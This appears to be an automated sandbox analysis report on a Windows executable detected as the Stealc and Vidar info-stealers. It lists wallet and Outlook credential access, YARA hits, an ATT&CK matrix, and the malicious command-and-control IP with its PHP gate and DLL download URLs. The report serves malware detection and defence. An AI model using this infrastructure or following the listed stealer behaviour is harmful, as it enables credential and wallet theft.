Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2110649970.0000000001A17000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7256, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.c10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2109583289.0000000000C11000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1711896895.0000000005670000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2110649970.00000000019BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7256, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7256, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E0C40 sqlite3_bind_zeroblob,	0_2_6C6E0C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E0D60 sqlite3_bind_parameter_name,	0_2_6C6E0D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C608EA0 sqlite3_clear_bindings,	0_2_6C608EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6C6E0B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C606410 bind,WSAGetLastError,	0_2_6C606410

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	2 Process Injection	1 Masquerading	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Email Collection	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	24 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Extra Window Memory Injection	1 Disable or Modify Tools	Security Account Manager	24 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	4 Data from Local System	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	235 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Extra Window Memory Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\chrome.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://anglebug.com/4633	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
http://polymer.github.io/AUTHORS.txt	0%	URL Reputation	safe
http://anglebug.com/6248	0%	URL Reputation	safe
https://ogs.google.com/widget/callout?eom=1	0%	URL Reputation	safe
http://anglebug.com/6929	0%	URL Reputation	safe
http://anglebug.com/5281	0%	URL Reputation	safe
https://anglebug.com/7246	0%	URL Reputation	safe
https://anglebug.com/7369	0%	URL Reputation	safe
https://anglebug.com/7489	0%	URL Reputation	safe
https://drive-daily-2.corp.google.com/	0%	URL Reputation	safe
http://polymer.github.io/PATENTS.txt	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://issuetracker.google.com/161903006	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://drive-daily-1.corp.google.com/	0%	URL Reputation	safe
https://drive-daily-5.corp.google.com/	0%	URL Reputation	safe
http://anglebug.com/3078	0%	URL Reputation	safe
http://anglebug.com/5375	0%	URL Reputation	safe
http://anglebug.com/5371	0%	URL Reputation	safe
http://anglebug.com/4722	0%	URL Reputation	safe
https://drive-preprod.corp.google.com/	0%	URL Reputation	safe
http://anglebug.com/6692	0%	URL Reputation	safe
http://anglebug.com/3502	0%	URL Reputation	safe
http://anglebug.com/3623	0%	URL Reputation	safe
http://anglebug.com/3625	0%	URL Reputation	safe
http://anglebug.com/3624	0%	URL Reputation	safe
http://anglebug.com/5007	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
http://anglebug.com/4836	0%	URL Reputation	safe
https://issuetracker.google.com/issues/166475273	0%	URL Reputation	safe
http://anglebug.com/4384	0%	URL Reputation	safe
http://anglebug.com/3970	0%	URL Reputation	safe
https://apis.google.com	0%	URL Reputation	safe
http://polymer.github.io/CONTRIBUTORS.txt	0%	URL Reputation	safe
https://domains.google.com/suggest/flow	0%	URL Reputation	safe
http://anglebug.com/7761	0%	URL Reputation	safe
https://ogs.google.com/widget/app/so?eom=1	0%	URL Reputation	safe
http://anglebug.com/7760	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
http://anglebug.com/3965	0%	URL Reputation	safe
http://anglebug.com/6439	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
plus.l.google.com	142.250.186.110	true	false	unknown
play.google.com	142.250.185.110	true	false	unknown
www.google.com	142.250.185.100	true	false	unknown
apis.google.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
http://185.215.113.206/6c4adf523b719729.php	true	unknown
http://185.215.113.206/746f34465cf17784/softokn3.dll	true	unknown
http://185.215.113.206/746f34465cf17784/freebl3.dll	true	unknown
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	unknown
http://185.215.113.206/746f34465cf17784/mozglue.dll	true	unknown
http://185.215.113.206/746f34465cf17784/nss3.dll	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://google-ohttp-relay-join.fastly-edge.com/Ii	chrome.exe, 00000001.00000003.1846291807.00001F3C0151C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	chrome.exe, 00000001.00000003.1820972298.00001F3C00BE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1840606601.00001F3C00BE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1843605210.00001F3C00BE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1850196994.00001F3C00BE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825600063.00001F3C00BE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1871004594.00001F3C00BE4000.00000004.00000800.00020000.00000000.sdmp, IJEHCGIJ.0.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	IJEHCGIJ.0.dr	false	URL Reputation: safe	unknown
http://anglebug.com/4633	chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://anglebug.com/7382	chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp, HCFIJKKKKKFCAAAAFBKF.0.dr	false	URL Reputation: safe	unknown
https://issuetracker.google.com/284462263	chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phprowser	file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/=	chrome.exe, 00000001.00000003.1844772243.00001F3C019A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1844793310.00001F3C019A4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/A	chrome.exe, 00000001.00000003.1844772243.00001F3C019A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1844828756.00001F3C019A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1844793310.00001F3C019A4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.gcp.privacysandboxservices.com	chrome.exe, 00000001.00000003.1844033495.00001F3C0140C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/G	chrome.exe, 00000001.00000003.1844772243.00001F3C019A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1844828756.00001F3C019A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1844793310.00001F3C019A4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000001.00000003.1824124690.00001F3C00F3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825289713.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825226565.00001F3C00C6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1824056766.00001F3C01018000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825332907.00001F3C00F64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1823957803.00001F3C00F20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825820425.00001F3C0116C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1824094935.00001F3C01068000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1824355126.00001F3C01034000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825633618.00001F3C00394000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825734225.00001F3C01100000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825258508.00001F3C00A14000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.google.com/	chrome.exe, 00000001.00000003.1812430605.00001F3C00480000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.pa.aws.privacysandboxservices.com	chrome.exe, 00000001.00000003.1844033495.00001F3C0140C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/J	chrome.exe, 00000001.00000003.1844772243.00001F3C019A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1844828756.00001F3C019A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1844793310.00001F3C019A4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7714	chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000001.00000003.1825820425.00001F3C0116C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825633618.00001F3C00394000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825734225.00001F3C01100000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/P	chrome.exe, 00000001.00000003.1844772243.00001F3C019A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1844828756.00001F3C019A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1844793310.00001F3C019A4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/W	chrome.exe, 00000001.00000003.1844772243.00001F3C019A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1844828756.00001F3C019A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1844793310.00001F3C019A4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6248	chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ogs.google.com/widget/callout?eom=1	chrome.exe, 00000001.00000003.1843002907.00001F3C012E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1841219667.00001F3C01388000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/6929	chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/5281	chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp, HCFIJKKKKKFCAAAAFBKF.0.dr	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/f	chrome.exe, 00000001.00000003.1844772243.00001F3C019A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1844828756.00001F3C019A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1844793310.00001F3C019A4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/255411748	chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7246	chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://anglebug.com/7369	chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://anglebug.com/7489	chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/?q=	chrome.exe, 00000001.00000003.1820972298.00001F3C00BE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1840606601.00001F3C00BE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1843605210.00001F3C00BE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1850196994.00001F3C00BE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825600063.00001F3C00BE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1871004594.00001F3C00BE4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore	chrome.exe, 00000001.00000003.1821732666.00001F3C00ED8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive-daily-2.corp.google.com/	chrome.exe, 00000001.00000003.1812430605.00001F3C00480000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000001.00000003.1824124690.00001F3C00F3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825289713.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825226565.00001F3C00C6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1824056766.00001F3C01018000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825332907.00001F3C00F64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1823957803.00001F3C00F20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825820425.00001F3C0116C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1824094935.00001F3C01068000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1824355126.00001F3C01034000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825633618.00001F3C00394000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825734225.00001F3C01100000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825258508.00001F3C00A14000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	file.exe, 00000000.00000002.2109583289.0000000000CF6000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	IJEHCGIJ.0.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp, HCFIJKKKKKFCAAAAFBKF.0.dr	false		unknown
https://issuetracker.google.com/161903006	chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	IJEHCGIJ.0.dr	false	URL Reputation: safe	unknown
https://drive-daily-1.corp.google.com/	chrome.exe, 00000001.00000003.1812430605.00001F3C00480000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive-daily-5.corp.google.com/	chrome.exe, 00000001.00000003.1812430605.00001F3C00480000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.ico	chrome.exe, 00000001.00000003.1820972298.00001F3C00BE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1840606601.00001F3C00BE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1843605210.00001F3C00BE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1850196994.00001F3C00BE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825600063.00001F3C00BE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1871004594.00001F3C00BE4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://plus.google.com	chromecache_79.3.dr	false		unknown
http://anglebug.com/3078	chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/7553	chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/)k	chrome.exe, 00000001.00000003.1846291807.00001F3C0151C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5375	chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/5371	chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/4722	chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://m.google.com/devicemanagement/data/api	chrome.exe, 00000001.00000003.1811440923.00001F3C001C8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Java	file.exe, 00000000.00000002.2109583289.0000000000CF6000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/Jh	chrome.exe, 00000001.00000003.1846291807.00001F3C0151C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/7556	chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive-preprod.corp.google.com/	chrome.exe, 00000001.00000003.1812430605.00001F3C00480000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 00000001.00000003.1844033495.00001F3C0140C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6692	chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://issuetracker.google.com/258207403	chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3502	chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3623	chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3625	chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3624	chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
